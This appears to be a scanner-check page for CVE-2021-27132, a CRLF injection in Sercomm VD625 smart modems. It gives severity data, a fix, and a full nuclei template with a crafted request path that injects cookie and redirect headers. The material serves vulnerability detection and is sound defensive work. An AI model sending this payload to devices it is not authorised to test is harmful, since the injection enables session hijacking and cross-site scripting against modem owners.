Sercomm VD625 Smart Modems - CRLF Injection

criticalseverity

9.8CVSS score

16.5%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header.

Impact

Successful exploitation of this vulnerability could lead to various attacks, including session hijacking, cross-site scripting (XSS), and cache poisoning.

Fix

Apply the latest firmware update provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0
Positive when: contains in header "Content-Disposition: attachment;filename=test.txt" and "Set-Cookie:CRLFInjection=Test" and "Location: interact.sh" and "X-XSS-Protection:0" AND status 404

Run it with nuclei: nuclei -id CVE-2021-27132 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-27132

info:
  name: Sercomm VD625 Smart Modems - CRLF Injection
  author: geeknik
  severity: critical
  description: Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header.
  impact: |
    Successful exploitation of this vulnerability could lead to various attacks, including session hijacking, cross-site scripting (XSS), and cache poisoning.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132
    - http://sercomm.com
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27132
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27132
    cwe-id: CWE-74
    epss-score: 0.16487
    epss-percentile: 0.97015
    cpe: cpe:2.3:o:sercomm:agcombo_vd625_firmware:agsot_2.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sercomm
    product: agcombo_vd625_firmware
  tags: cve2021,cve,crlf,injection,sercomm,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Disposition: attachment;filename=test.txt"
          - "Set-Cookie:CRLFInjection=Test"
          - "Location: interact.sh"
          - "X-XSS-Protection:0"
        condition: and

      - type: status
        part: header
        status:
          - 404

References

Use this check only on systems you are authorised to test. Where the data comes from